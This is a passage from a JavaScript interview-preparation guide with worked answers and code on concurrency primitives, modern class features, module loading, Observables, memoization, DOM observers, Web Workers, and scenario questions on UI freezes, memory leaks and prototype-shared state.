  • “How does Node.js Readable stream’s async iterator interface work?” — Node.js readable streams implement Symbol.asyncIterator, so you can do for await (const chunk of fs.createReadStream('file.txt')) { ... }. The stream is automatically paused when the loop awaits (backpressure) and resumed when it is ready for more data. This is the cleanest way to process files and network streams in Node.
Answer: SharedArrayBuffer creates memory shared between the main thread and Web Workers — true shared memory without the serialization overhead of postMessage. Atomics provides thread-safe operations (compare-and-swap, wait/notify) to prevent data races.
// Main thread
const sharedBuffer = new SharedArrayBuffer(1024); // 1KB shared memory
const view = new Int32Array(sharedBuffer);

const worker = new Worker('worker.js');
worker.postMessage(sharedBuffer); // No copy -- shares the same memory

// Worker.js
self.onmessage = (e) => {
    const view = new Int32Array(e.data);
    Atomics.add(view, 0, 5);        // Thread-safe increment
    Atomics.store(view, 1, 42);     // Thread-safe write
    Atomics.notify(view, 0, 1);     // Wake up one waiting thread
};

// Main thread: wait for worker
Atomics.wait(view, 0, 0);           // Block until value at index 0 changes from 0
console.log(Atomics.load(view, 0)); // 5
Security requirements: SharedArrayBuffer is disabled by default due to Spectre/Meltdown vulnerabilities. To enable it, the page must be cross-origin isolated:
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Use cases: Physics simulations (shared particle data), video processing (shared frame buffer), multi-threaded WASM applications, real-time collaboration (shared document state).What interviewers are really testing: Do you understand why shared memory needs atomic operations (race conditions)? Do you know about the cross-origin isolation requirement?Follow-up questions:
  • “What is a data race and how do Atomics prevent it?” — A data race occurs when two threads access the same memory location simultaneously and at least one is a write. Without atomics, a read might see a partially-written value. Atomics.store and Atomics.load ensure atomic (indivisible) reads and writes. Atomics.compareExchange enables lock-free algorithms (CAS loops).
  • “Why was SharedArrayBuffer disabled and re-enabled with restrictions?” — Spectre attacks use high-resolution timers to leak memory. SharedArrayBuffer + Atomics can create a nanosecond-precision timer (one thread increments a counter, another reads it). Cross-origin isolation prevents the page from loading cross-origin resources that could be targeted by the Spectre attack.
Answer: Covered in Question 49. Additional production pattern:
// Automatic resource cleanup for native handles (file descriptors, GPU buffers)
class ResourceManager {
    static #registry = new FinalizationRegistry((handle) => {
        console.log(`Releasing handle: ${handle}`);
        nativeRelease(handle); // Call native cleanup
    });

    #handle;

    constructor() {
        this.#handle = nativeAcquire();
        ResourceManager.#registry.register(this, this.#handle, this);
        // Third arg is "unregister token" -- allows manual cleanup
    }

    dispose() {
        nativeRelease(this.#handle);
        ResourceManager.#registry.unregister(this); // Prevent double-free
    }
}

// Usage
let resource = new ResourceManager();
resource.dispose(); // Manual cleanup (preferred)
resource = null;    // If dispose() was not called, FinalizationRegistry handles it
Critical caveat: FinalizationRegistry is a safety net, not a primary cleanup mechanism. GC timing is non-deterministic. Always provide an explicit dispose()/close() method and use try...finally or the upcoming using declaration (Explicit Resource Management proposal).What interviewers are really testing: Do you understand the non-deterministic nature of GC? Do you know this is a fallback, not a primary cleanup strategy?Follow-up questions:
  • “What is the Explicit Resource Management proposal (using keyword)?” — TC39 Stage 3. using resource = new FileHandle() automatically calls resource[Symbol.dispose]() when the block exits (like C# using or Python with). await using for async cleanup. This is the proper deterministic cleanup pattern that FinalizationRegistry cannot provide.
Answer: The # prefix creates truly private class members — enforced by the engine, not by convention. Unlike TypeScript’s private (which is compile-time only), #fields cannot be accessed outside the class even with bracket notation or Reflect.
class BankAccount {
    #balance = 0;          // Private field
    #accountId;            // Private field
    static #bankName = 'JS Bank'; // Private static field

    constructor(id, initialBalance) {
        this.#accountId = id;
        this.#balance = initialBalance;
    }

    #validateAmount(amount) { // Private method
        if (amount <= 0) throw new Error('Invalid amount');
    }

    deposit(amount) {
        this.#validateAmount(amount);
        this.#balance += amount;
    }

    get balance() { return this.#balance; } // Public getter
}

const account = new BankAccount('001', 100);
account.deposit(50);
account.balance;     // 150 (via getter)
account.#balance;    // SyntaxError! Cannot access private field
account['#balance']; // undefined (string '#balance' is not the same as private #balance)
Private fields vs WeakMap vs Symbol vs underscore convention:
  • #field — True privacy, engine-enforced. Cannot be accessed outside the class even with reflection.
  • WeakMap — True privacy, pre-ES2022 pattern. More verbose. Allows cross-class sharing.
  • Symbol — Non-collision, but discoverable via Object.getOwnPropertySymbols().
  • _field — Convention only. Accessible by anyone. TypeScript private is also convention (erased at compile time).
What interviewers are really testing: Do you know the difference between true privacy (#) and convention (_)? Do you know private fields are not accessible via bracket notation?Follow-up questions:
  • “Can you check if an object has a private field from outside the class?” — Not directly, but the class can provide a static method: static hasAccount(obj) { try { obj.#balance; return true; } catch { return false; } }. Or use #field in obj (ES2022): static isAccount(obj) { return #balance in obj; }. This is the in operator for private fields.
  • “How do private fields interact with subclasses?” — Private fields are NOT inherited. A subclass cannot access #balance from its parent. This is by design — private means private to the declaring class, not to the class hierarchy. If a subclass needs access, the parent must provide a protected-style method (using a naming convention, as JS has no protected keyword).
Answer: Static initialization blocks (ES2022) let you run arbitrary code during class definition to initialize static fields. This replaces awkward patterns like assigning to static properties after the class declaration.
class Config {
    static apiUrl;
    static dbPool;
    static #secret;

    static {
        // Complex initialization logic
        const env = process.env.NODE_ENV || 'development';
        this.apiUrl = env === 'production'
            ? 'https://api.example.com'
            : 'http://localhost:3000';

        // Access private static fields (impossible from outside)
        this.#secret = crypto.randomBytes(32).toString('hex');
    }

    static {
        // Multiple blocks are allowed -- they run in order
        this.dbPool = createPool({ url: this.apiUrl + '/db' });
    }

    static getSecret() { return this.#secret; }
}
Why this exists: Before static blocks, you had to either: (1) assign static properties outside the class body (Config.apiUrl = ... — breaks encapsulation), or (2) use IIFEs in static field initializers (ugly). Static blocks provide a clean, encapsulated initialization scope with access to private static fields.What interviewers are really testing: Do you know this ES2022 feature? Can you explain when it is better than static field initializers?Follow-up questions:
  • “When are static initialization blocks evaluated?” — When the class declaration is evaluated (not when the first instance is created). If the class is in a module, it runs when the module is first imported. They run after all static field initializers, in declaration order. Multiple static blocks run sequentially.
Answer: Top-level await (ES2022) lets you use await at the module level without wrapping it in an async function. The module’s evaluation pauses until the awaited promise settles.
// config.js (ES module)
const response = await fetch('/api/config');
export const config = await response.json();

// app.js
import { config } from './config.js';
// config is fully loaded and ready -- no need to await the import
console.log(config.apiUrl);
The module graph impact: If module A uses top-level await and module B imports from module A, module B’s evaluation waits for A’s await to settle. This creates a “blocking” dependency. If A’s fetch takes 5 seconds, B waits 5 seconds before executing.
// Parallel top-level fetches (correct pattern)
const [configRes, i18nRes] = await Promise.all([
    fetch('/api/config'),
    fetch('/api/i18n')
]);
export const config = await configRes.json();
export const i18n = await i18nRes.json();
// Both fetches start immediately; module waits for both
What interviewers are really testing: Do you understand the module graph implications? Do you know to use Promise.all for parallel top-level fetches?Follow-up questions:
  • “Can you use top-level await in CommonJS?” — No. Top-level await only works in ES modules. In Node.js, this means files with .mjs extension or "type": "module" in package.json. In CommonJS files, you need an async IIFE: (async () => { const data = await fetchData(); })().
  • “What happens if a top-level await rejects?” — The module fails to load. Any module that imports it also fails. This is equivalent to a top-level throw. Handle errors with try/catch at the top level: let config; try { config = await loadConfig(); } catch { config = defaultConfig; }.
Answer: Covered in depth in Question 52. Additional advanced patterns:
// Conditional loading based on feature detection
const { format } = await import(
    typeof Intl.DateTimeFormat !== 'undefined'
        ? './modern-date.js'
        : './legacy-date.js'
);

// Import based on user locale
const translations = await import(`./i18n/${navigator.language}.js`);

// Plugin system
class PluginManager {
    async loadPlugin(name) {
        try {
            const plugin = await import(`./plugins/${name}/index.js`);
            plugin.default.init(this.app);
        } catch (err) {
            console.warn(`Plugin ${name} failed to load:`, err);
        }
    }
}

// Preload (hint to browser without executing)
// <link rel="modulepreload" href="./heavy-module.js">
// Then when you import('./heavy-module.js'), it is already cached
What interviewers are really testing: Do you know computed import paths work with import() (but not static import)? Do you understand the difference between import() and require() in terms of async behavior?Follow-up questions:
  • “What is the security risk of import(userInput)?” — If userInput is user-controlled, an attacker could load arbitrary modules from your server. Always validate against a whitelist: const allowed = ['chart', 'table']; if (!allowed.includes(name)) throw new Error('Invalid module'). Bundlers like Webpack restrict import() to known directories based on the glob pattern in magic comments.
Answer: The Observable/Observer pattern is fundamental to reactive programming — it powers RxJS, Vue’s reactivity, Redux’s store subscriptions, and event emitters. An Observable produces values over time; Observers subscribe to receive them.
// Minimal Observable implementation
class Observable {
    constructor(subscribeFn) {
        this._subscribe = subscribeFn;
    }

    subscribe(observer) {
        // Normalize: allow passing a plain function
        const obs = typeof observer === 'function'
            ? { next: observer, error: () => {}, complete: () => {} }
            : observer;
        return this._subscribe(obs);
    }

    // Operators (chainable transformations)
    map(fn) {
        return new Observable(observer => {
            return this.subscribe({
                next: value => observer.next(fn(value)),
                error: err => observer.error(err),
                complete: () => observer.complete()
            });
        });
    }

    filter(predicate) {
        return new Observable(observer => {
            return this.subscribe({
                next: value => predicate(value) && observer.next(value),
                error: err => observer.error(err),
                complete: () => observer.complete()
            });
        });
    }
}

// Usage
const clicks = new Observable(observer => {
    document.addEventListener('click', e => observer.next(e));
    return () => document.removeEventListener('click', handler);
});

const subscription = clicks
    .filter(e => e.target.matches('button'))
    .map(e => e.target.textContent)
    .subscribe(text => console.log('Button clicked:', text));
Observables vs Promises: Promises handle ONE async value. Observables handle MANY values over time (event streams, WebSocket messages, timer ticks). Promises are eager (start immediately); Observables are lazy (only run when subscribed). Promises cannot be cancelled; Observables support unsubscription.What interviewers are really testing: Can you implement a basic Observable? Do you understand the lazy evaluation model? Senior candidates should explain operators, unsubscription, and the relationship to RxJS.Follow-up questions:
  • “What is the TC39 Observable proposal?” — Observables are a Stage 1 TC39 proposal to add native Observable to JavaScript (similar to how Promise was added). It would standardize the interface that RxJS, MobX, and other reactive libraries use. element.on('click') would return an Observable instead of requiring addEventListener.
  • “When would you use RxJS over plain event listeners?” — When you need complex event composition: debouncing, throttling, combining multiple streams, retrying failed operations, race conditions between streams. Example: search-as-you-type requires debounce + switchMap (cancel previous request) + distinctUntilChanged + error retry. Doing this with raw event listeners is 50+ lines; RxJS does it in 5.
Answer: Memoization caches function results based on arguments, avoiding redundant computation. It is the concept behind React.memo, useMemo, reselect, and memoize-one.
// Basic memoize (works but has cache growth problem)
function memoize(fn) {
    const cache = new Map();
    return (...args) => {
        const key = JSON.stringify(args);
        if (cache.has(key)) return cache.get(key);
        const result = fn(...args);
        cache.set(key, result);
        return result;
    };
}

// Production memoize with LRU eviction
function memoizeLRU(fn, maxSize = 100) {
    const cache = new Map();
    return (...args) => {
        const key = JSON.stringify(args);
        if (cache.has(key)) {
            const value = cache.get(key);
            cache.delete(key);
            cache.set(key, value); // Move to end (most recently used)
            return value;
        }
        const result = fn(...args);
        cache.set(key, result);
        if (cache.size > maxSize) {
            cache.delete(cache.keys().next().value); // Remove oldest
        }
        return result;
    };
}

// memoize-one: only caches the LAST call (perfect for React selectors)
function memoizeOne(fn) {
    let lastArgs, lastResult;
    return (...args) => {
        if (lastArgs && args.every((arg, i) => Object.is(arg, lastArgs[i]))) {
            return lastResult;
        }
        lastResult = fn(...args);
        lastArgs = args;
        return lastResult;
    };
}
The JSON.stringify key problem: JSON.stringify is slow for large objects, and it cannot distinguish undefined from missing keys ({a: undefined} and {} produce the same JSON). For object arguments, use a WeakMap keyed on the object reference. For primitive arguments, use the value directly as key.What interviewers are really testing: Do you know when memoization helps and when it hurts? Can you implement it? Do you understand cache invalidation concerns?Red flag answer: Memoizing impure functions (functions with side effects). If fetchUser(id) is memoized, you get stale data. Memoization only works for pure functions.Follow-up questions:
  • “How does React’s useMemo differ from general memoization?”useMemo caches ONE value, recomputing only when dependencies change (shallow comparison). It is more like memoize-one than a general cache. It is scoped to a component instance and cleared on unmount. General memoization caches ALL previous results. React’s approach is cheaper (no unbounded cache growth) but only useful for “same inputs as last time” optimization.
  • “What is the tradeoff of memoization?” — Memory for speed. An unbounded memoization cache leaks memory if the function is called with many unique arguments. Always set a max cache size or use memoize-one for React selectors. Also: the cache key computation (JSON.stringify, hashing) itself has a cost — for cheap functions, memoization can be slower than recomputing.
Answer: Covered in depth in Question 17. Here are the production-grade implementations with all the options:
// Full-featured debounce (leading, trailing, maxWait, cancel, flush)
function debounce(fn, wait, { leading = false, trailing = true, maxWait } = {}) {
    let timeoutId, lastCallTime, lastInvokeTime = 0, lastArgs, lastThis;

    function invoke() {
        const args = lastArgs, thisArg = lastThis;
        lastArgs = lastThis = undefined;
        lastInvokeTime = Date.now();
        return fn.apply(thisArg, args);
    }

    function startTimer(pendingFunc, wait) {
        clearTimeout(timeoutId);
        timeoutId = setTimeout(pendingFunc, wait);
    }

    function debounced(...args) {
        lastArgs = args;
        lastThis = this;
        lastCallTime = Date.now();
        const elapsed = lastCallTime - lastInvokeTime;

        if (leading && elapsed >= wait) {
            invoke();
        }

        const remaining = maxWait
            ? Math.min(wait, maxWait - elapsed)
            : wait;

        startTimer(() => {
            if (trailing) invoke();
        }, remaining);
    }

    debounced.cancel = () => { clearTimeout(timeoutId); lastArgs = lastThis = undefined; };
    debounced.flush = () => { if (lastArgs) invoke(); debounced.cancel(); };
    return debounced;
}

// Full-featured throttle with trailing edge
function throttle(fn, limit) {
    let lastArgs, timeoutId, lastCallTime = 0;

    function invoke() {
        lastCallTime = Date.now();
        fn(...lastArgs);
        lastArgs = null;
    }

    return function(...args) {
        lastArgs = args;
        const elapsed = Date.now() - lastCallTime;

        if (elapsed >= limit) {
            invoke(); // Leading edge
        } else if (!timeoutId) {
            timeoutId = setTimeout(() => {
                timeoutId = null;
                if (lastArgs) invoke(); // Trailing edge
            }, limit - elapsed);
        }
    };
}
What interviewers are really testing: Can you implement both from scratch? Do you understand leading vs trailing edge? Can you add cancel/flush support?Follow-up questions:
  • “How does lodash’s debounce with maxWait combine debounce and throttle?”maxWait guarantees the function is called at least once every maxWait milliseconds, even during continuous invocation. This combines the “wait for silence” behavior of debounce with the “guarantee periodic execution” behavior of throttle. _.debounce(fn, 300, { maxWait: 1000 }) waits for 300ms of silence but fires at least every 1s.
Answer: Covered in depth in Question 16. Additional advanced patterns:
// Delegation with closest() for nested elements
document.querySelector('.list').addEventListener('click', (e) => {
    // .closest() walks UP from the clicked element, matching the selector
    const item = e.target.closest('.list-item');
    if (!item) return;
    // Now 'item' is the .list-item, even if the click was on a child span/icon

    const action = e.target.closest('[data-action]');
    if (action) {
        const { action: actionType } = action.dataset;
        if (actionType === 'delete') deleteItem(item.dataset.id);
        if (actionType === 'edit') editItem(item.dataset.id);
    }
});

// AbortController for easy listener cleanup (modern pattern)
const controller = new AbortController();
document.addEventListener('click', handler, { signal: controller.signal });
document.addEventListener('keydown', handler2, { signal: controller.signal });
// Clean up ALL listeners with one call:
controller.abort();
What interviewers are really testing: Do you know closest() for robust delegation with nested markup? Do you know the signal option for auto-cleanup?Follow-up questions:
  • “How does delegation interact with stopPropagation from child components?” — If a child calls e.stopPropagation(), the event does not reach the delegated parent listener. This can silently break delegation. This is why overusing stopPropagation is considered an anti-pattern — it breaks patterns that rely on event bubbling. Use e.stopImmediatePropagation() only when you are certain no ancestor needs the event.
Answer: CustomEvent lets you create application-level events that integrate with the DOM event system. Combined with EventTarget, you can build a full pub/sub system without third-party libraries.
// Basic custom event
const event = new CustomEvent('userLogin', {
    detail: { userId: 123, role: 'admin' },
    bubbles: true,    // Propagates up the DOM tree
    cancelable: true  // preventDefault() works
});

document.addEventListener('userLogin', (e) => {
    console.log('User logged in:', e.detail.userId);
    if (e.detail.role !== 'admin') e.preventDefault(); // Prevent action
});

const cancelled = !document.dispatchEvent(event);
if (cancelled) console.log('Login was prevented');

// EventTarget as standalone event bus (no DOM needed)
class EventBus extends EventTarget {
    emit(type, detail) {
        this.dispatchEvent(new CustomEvent(type, { detail }));
    }
    on(type, handler) {
        this.addEventListener(type, handler);
        return () => this.removeEventListener(type, handler); // Cleanup fn
    }
}

const bus = new EventBus();
const unsub = bus.on('notification', (e) => showToast(e.detail.message));
bus.emit('notification', { message: 'Hello!' });
unsub(); // Clean up
What interviewers are really testing: Do you know CustomEvent is the standard way to create app events? Do you know EventTarget can be used standalone (not just on DOM elements)?Follow-up questions:
  • “When would you use CustomEvent vs a simple callback/observable?” — CustomEvent integrates with the DOM (bubbling, capturing, preventDefault). Use it for: cross-component communication in vanilla JS/Web Components, custom form validation events, and analytics/tracking events that bubble up to a global handler. Use callbacks/observables for: pure JS business logic, React state management, and anything that does not need DOM integration.
Answer: The Performance API provides high-resolution timestamps and standardized metrics for measuring real-world application performance. It is what Lighthouse, WebPageTest, and real user monitoring (RUM) tools use under the hood.
// User Timing API -- measure custom operations
performance.mark('data-fetch-start');
const data = await fetchData();
performance.mark('data-fetch-end');
performance.measure('data-fetch', 'data-fetch-start', 'data-fetch-end');

const [measure] = performance.getEntriesByName('data-fetch');
console.log(`Fetch took ${measure.duration.toFixed(2)}ms`);

// PerformanceObserver -- react to performance events in real-time
const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
        if (entry.entryType === 'largest-contentful-paint') {
            console.log('LCP:', entry.startTime);
            sendToAnalytics({ lcp: entry.startTime });
        }
    }
});
observer.observe({ type: 'largest-contentful-paint', buffered: true });

// Core Web Vitals measurement
new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
        console.log('CLS shift:', entry.value);
    }
}).observe({ type: 'layout-shift', buffered: true });

// Navigation timing
const nav = performance.getEntriesByType('navigation')[0];
console.log('DOM Content Loaded:', nav.domContentLoadedEventEnd);
console.log('Full Load:', nav.loadEventEnd);
console.log('TTFB:', nav.responseStart - nav.requestStart);
What interviewers are really testing: Do you know how to measure performance programmatically? Can you collect Core Web Vitals (LCP, FID, CLS)? Senior candidates should mention PerformanceObserver and real user monitoring.Follow-up questions:
  • “How do you measure Core Web Vitals in production?” — Use the web-vitals npm library (by Google): import { onLCP, onFID, onCLS } from 'web-vitals'; onLCP(metric => sendToAnalytics(metric)). It handles all the PerformanceObserver setup, buffered entries, and edge cases. Send metrics to your analytics backend (DataDog, New Relic, custom endpoint) for real user monitoring.
  • “What is the difference between performance.now() and Date.now()?”performance.now() is a high-resolution timestamp (microsecond precision in some browsers) relative to the page load. Date.now() is millisecond precision relative to epoch. performance.now() is monotonic (never goes backward due to clock adjustments), making it correct for measuring durations. Always use performance.now() for performance measurements.
Answer: Covered in depth in Question 21. Additional advanced patterns:
// Scroll-driven progress indicator
const sections = document.querySelectorAll('section');
const navLinks = document.querySelectorAll('nav a');

const observer = new IntersectionObserver((entries) => {
    entries.forEach(entry => {
        if (entry.isIntersecting) {
            navLinks.forEach(link => link.classList.remove('active'));
            const activeLink = document.querySelector(`nav a[href="#${entry.target.id}"]`);
            activeLink?.classList.add('active');
        }
    });
}, { rootMargin: '-50% 0px', threshold: 0 });
// rootMargin: '-50% 0px' means trigger when section is in the middle of viewport

sections.forEach(section => observer.observe(section));

// Staggered reveal animation
const animateObserver = new IntersectionObserver((entries) => {
    entries.forEach((entry, index) => {
        if (entry.isIntersecting) {
            entry.target.style.transitionDelay = `${index * 100}ms`;
            entry.target.classList.add('visible');
            animateObserver.unobserve(entry.target);
        }
    });
}, { threshold: 0.1 });
What interviewers are really testing: Can you use IntersectionObserver for scroll-driven UI beyond basic lazy loading?Follow-up questions:
  • “How would you implement a table-of-contents that highlights the current section?” — Use IntersectionObserver with rootMargin: '-20% 0px -80% 0px' (the top 20% of the viewport is the detection zone). When a section enters this zone, highlight its nav link. Observe all sections. Use threshold: 0 for binary detection. Edge case: handle the last section which might not fill the viewport.
Answer: MutationObserver watches for DOM changes (element additions, removals, attribute changes, text content changes) and fires a callback with a batch of mutations. It is the modern replacement for the deprecated Mutation Events and is how many libraries detect DOM changes.
const observer = new MutationObserver((mutations) => {
    for (const mutation of mutations) {
        if (mutation.type === 'childList') {
            mutation.addedNodes.forEach(node => {
                if (node.nodeType === Node.ELEMENT_NODE) {
                    initializeComponent(node); // Auto-init new components
                }
            });
            mutation.removedNodes.forEach(node => {
                cleanupComponent(node); // Clean up removed components
            });
        }
        if (mutation.type === 'attributes') {
            console.log(`${mutation.attributeName} changed to ${mutation.target.getAttribute(mutation.attributeName)}`);
        }
    }
});

observer.observe(document.body, {
    childList: true,   // Watch for added/removed children
    attributes: true,  // Watch for attribute changes
    subtree: true,     // Watch entire subtree, not just direct children
    characterData: true, // Watch text content changes
    attributeOldValue: true, // Include old attribute value in mutation records
});

// Stop observing
observer.disconnect();

// Take pending records without waiting for callback
const pending = observer.takeRecords();
Real-world use cases:
  • Auto-initialization: Libraries like Alpine.js and htmx use MutationObserver to detect new elements and initialize them (bind events, fetch data)
  • DOM-based analytics: Track which elements users interact with without manually instrumenting each one
  • Content security: Detect and remove injected script tags (defense-in-depth against XSS)
  • Third-party widget management: Detect when a third-party script injects DOM elements and apply your styling or constraints
What interviewers are really testing: Do you know when MutationObserver is the right tool? Do you understand the performance implications of observing the entire document?Follow-up questions:
  • “What is the performance impact of MutationObserver?” — MutationObserver callbacks are batched (fired as microtasks after DOM mutations settle). Observing subtree: true on document.body means every DOM mutation in the page triggers the callback. For complex apps with frequent DOM updates, this can add 1-5ms per batch. Minimize by: observing specific containers instead of body, filtering mutations in the callback quickly, and using disconnect() when not needed.
  • “How does MutationObserver differ from ResizeObserver and IntersectionObserver?” — MutationObserver watches DOM structural changes (add/remove/attribute). ResizeObserver watches element size changes. IntersectionObserver watches visibility changes relative to a viewport. They serve completely different purposes and can be used together.
Answer: Covered in depth in Question 23. Additional production patterns:
// Comlink: Use workers like regular async functions
// worker.js
import { expose } from 'comlink';

const api = {
    async processImage(imageData) {
        // Heavy computation in worker
        return applyFilter(imageData);
    },
    fibonacci(n) {
        if (n <= 1) return n;
        return fibonacci(n - 1) + fibonacci(n - 2);
    }
};

expose(api);

// main.js
import { wrap } from 'comlink';

const worker = wrap(new Worker('worker.js'));
const result = await worker.fibonacci(40); // Feels like a normal async call
const processed = await worker.processImage(imageData);

// Inline worker (no separate file needed)
const workerCode = `
    self.onmessage = (e) => {
        const result = heavyComputation(e.data);
        self.postMessage(result);
    };
`;
const blob = new Blob([workerCode], { type: 'application/javascript' });
const worker = new Worker(URL.createObjectURL(blob));

// Worker pool for parallel processing
class WorkerPool {
    constructor(workerUrl, size = navigator.hardwareConcurrency || 4) {
        this.workers = Array.from({ length: size }, () => new Worker(workerUrl));
        this.queue = [];
        this.freeWorkers = [...this.workers];
    }

    async execute(data) {
        return new Promise((resolve) => {
            const task = { data, resolve };
            if (this.freeWorkers.length > 0) {
                this.runTask(task, this.freeWorkers.pop());
            } else {
                this.queue.push(task);
            }
        });
    }

    runTask(task, worker) {
        worker.onmessage = (e) => {
            task.resolve(e.data);
            const next = this.queue.shift();
            if (next) this.runTask(next, worker);
            else this.freeWorkers.push(worker);
        };
        worker.postMessage(task.data);
    }
}
What interviewers are really testing: Do you know Comlink for ergonomic worker usage? Can you implement a worker pool? Do you understand Transferable objects for zero-copy data transfer?Follow-up questions:
  • “How do you share code between the main thread and workers?” — Use ES modules in workers: new Worker('worker.js', { type: 'module' }). This enables import statements in the worker for shared utility functions. Without module support, you can use importScripts('shared.js') (synchronous, no tree shaking).
  • “What is navigator.hardwareConcurrency and how does it guide worker pool sizing?” — It returns the number of logical CPU cores available (e.g., 8 on a quad-core with hyperthreading). Use it to size your worker pool — more workers than cores provides no benefit and increases context-switching overhead. For IO-bound workers (fetch, indexedDB), you can exceed core count. For CPU-bound workers (computation), match core count minus 1 (leave one core for the main thread and UI).

Advanced Scenario-Based Questions

Scenario: Your team ships a dashboard that renders real-time stock ticker data via WebSocket. Users report the UI freezes for 200-400ms every few seconds. DevTools Performance tab shows long tasks on the main thread. The freeze correlates with a processTickerBatch() function that parses and sorts 5,000 incoming price updates into a sorted order book. How do you diagnose and fix this without dropping data?What weak candidates say:
  • “Just use async/await to make it non-blocking.” (Misunderstands that await does not magically yield to the event loop mid-computation — CPU-bound work still blocks.)
  • “Move it to a Web Worker” with no mention of the serialization cost of postMessage or how to reconcile worker state with the main thread’s rendering state.
  • Cannot explain why setTimeout(fn, 0) does not actually execute at 0ms (browser clamps to ~4ms minimum, and it only yields once per chunk).
What strong candidates say:
  • Diagnosis first: Open DevTools Performance tab, record a trace, look at the “Main” flame chart for long tasks exceeding 50ms (the Long Tasks API threshold). Use performance.mark() / performance.measure() around processTickerBatch() to confirm it is the bottleneck.
  • Root cause: The event loop is single-threaded. A synchronous 200ms sort blocks the microtask queue drain, rAF callbacks, and input event processing. The UI literally cannot repaint until the call stack unwinds.
  • Fix 1 — Time-slicing with scheduler.yield() or manual chunking: Break the 5,000-item sort into chunks of ~500, yielding back to the event loop between chunks using setTimeout(0) or the newer scheduler.yield() API. This keeps each task under 50ms.
    async function processInChunks(items, chunkSize = 500) {
        for (let i = 0; i < items.length; i += chunkSize) {
            const chunk = items.slice(i, i + chunkSize);
            processChunk(chunk);
            // Yield to the event loop so rendering/input can happen
            await new Promise(resolve => setTimeout(resolve, 0));
        }
    }
    
  • Fix 2 — Web Worker: Offload the entire sort to a dedicated worker. Use Transferable objects (e.g., ArrayBuffer) instead of structured clone to avoid the serialization overhead. Post back only the diff (changed indices) rather than the full sorted array.
  • Fix 3 — Algorithmic: Switch from full re-sort (O(n log n) every tick) to an insertion into a pre-sorted structure (O(log n) per update). A binary search + splice or a skip list drastically reduces per-tick CPU time.
  • War story: “At a fintech startup, we had this exact problem with a Level 2 order book. We moved to a Web Worker with SharedArrayBuffer so the worker could write directly into shared memory, and the main thread just read the latest snapshot on each requestAnimationFrame. Dropped the main-thread cost from ~180ms to ~2ms per tick.”
Follow-up:
  1. What is the difference between queueMicrotask(), setTimeout(fn, 0), and requestAnimationFrame() for yielding? Which one actually lets the browser repaint before your next chunk runs?
  2. If you use scheduler.yield(), how does it differ from setTimeout(0) in terms of task priority and continuation semantics?
  3. The Long Tasks API reports tasks over 50ms. How would you set up automated monitoring in production to alert on event loop blocking without DevTools open?
Scenario: Your single-page application’s memory usage climbs from 80MB to over 2GB after 30 minutes of normal use. Users on lower-end machines see the browser tab crash. Heap snapshots show thousands of detached DOM trees and large arrays that should have been garbage collected. The leak correlates with navigating between routes. Each route component sets up event listeners and setInterval timers inside closures. Walk me through how you find and fix this.What weak candidates say:
  • “Use useEffect cleanup” — correct instinct but no explanation of why the closure retains the reference or how to verify the fix in a heap snapshot.
  • Cannot explain the difference between a detached DOM node and a garbage-collected one, or how the closure’s scope chain prevents GC.
  • Suggest “just refresh the page” or “use server-side rendering” as a workaround.
What strong candidates say:
  • Step 1 — Reproduce and measure: Open Chrome DevTools Memory tab. Take a heap snapshot (baseline). Navigate to Route B and back to Route A three times. Take another snapshot. Use the “Comparison” view to see objects allocated between snapshots that were NOT freed. Look for Detached HTMLDivElement, large Array allocations, and closure scopes.
  • Step 2 — Identify the retention path: Select a leaked object, inspect the “Retainers” panel. This shows the chain of references preventing GC. Typically you will see: closure scope -> timer callback -> reference to component DOM node -> entire detached subtree.
  • The mechanism: When a component mounts and runs setInterval(() => updateChart(this.canvas), 1000), the arrow function closes over this.canvas. When the component unmounts (route change), if clearInterval is never called, the interval callback persists. The closure holds a reference to this.canvas, which holds a reference to the detached DOM subtree. The GC cannot collect any of it.
    // LEAKING: interval never cleared, closure retains canvasRef
    useEffect(() => {
        const id = setInterval(() => {
            // This closure captures `canvasRef.current` indirectly
            drawChart(canvasRef.current, data);
        }, 1000);
        // Missing: return () => clearInterval(id);
    }, []);
    
  • Fix: Always return a cleanup function from useEffect. But also audit for: addEventListener without removeEventListener, MutationObserver / IntersectionObserver without disconnect(), WebSocket onmessage handlers that reference stale component state.
  • Deeper fix — WeakRef for caches: If you cache component instances or DOM references in a Map, switch to WeakRef wrappers so the cache does not prevent GC:
    const cache = new Map();
    function cacheComponent(id, component) {
        cache.set(id, new WeakRef(component));
    }
    function getCached(id) {
        const ref = cache.get(id);
        const component = ref?.deref();
        if (!component) cache.delete(id); // Already GC'd
        return component;
    }
    
  • Production monitoring: Use performance.measureUserAgentSpecificMemory() (Chrome origin trial) to track JS heap size in production. Alert if p95 exceeds a threshold after N minutes of session time.
  • War story: “We tracked a 1.5GB leak in a healthcare dashboard to a charting library that registered a resize observer on window per chart instance but never removed it on unmount. Each observer’s callback closed over the chart’s entire dataset. Fix was a one-line disconnect() call in the cleanup path. Memory flatlined at 120MB after that.”
Follow-up:
  1. How does WeakRef differ from WeakMap in terms of what can be held weakly? When would you pick one over the other?
  2. A closure captures the entire lexical scope, not just the variables it uses. V8 optimizes this — how? What is “scope analysis” in the context of closure variable capture, and when does V8 fail to optimize it?
  3. You fixed the leak but now your FinalizationRegistry cleanup callback is not firing consistently. Why might that be, and what guarantees (or lack thereof) does the spec give about callback timing?
Scenario: A junior developer on your team creates a plugin system where plugins are objects that extend a base Plugin prototype. Users report that when they instantiate two different plugins, modifying a configuration array on one plugin mutates it on the other. The bug only happens for array/object properties, not primitives. Here is the simplified code:
function Plugin(name) {
    this.name = name;
}
Plugin.prototype.tags = [];
Plugin.prototype.enabled = true;

const pluginA = new Plugin('Auth');
const pluginB = new Plugin('Logger');

pluginA.tags.push('security');
console.log(pluginB.tags); // ['security'] -- BUG!
Explain exactly what is happening and how to fix it.What weak candidates say:
  • “It is a reference type issue” — vague and imprecise. Cannot articulate that the prototype chain lookup returns the same mutable object.
  • Suggest Object.assign or spread as a fix without explaining why that works (creating an own property that shadows the prototype property).
  • Have no mental model of the prototype chain lookup algorithm: check own properties first, then walk __proto__.
What strong candidates say:
  • Root cause: pluginA.tags.push('security') does NOT create a new own property on pluginA. The .tags lookup walks the prototype chain, finds Plugin.prototype.tags (the shared array), and mutates it in-place via push. Both instances share the exact same array reference through the prototype.
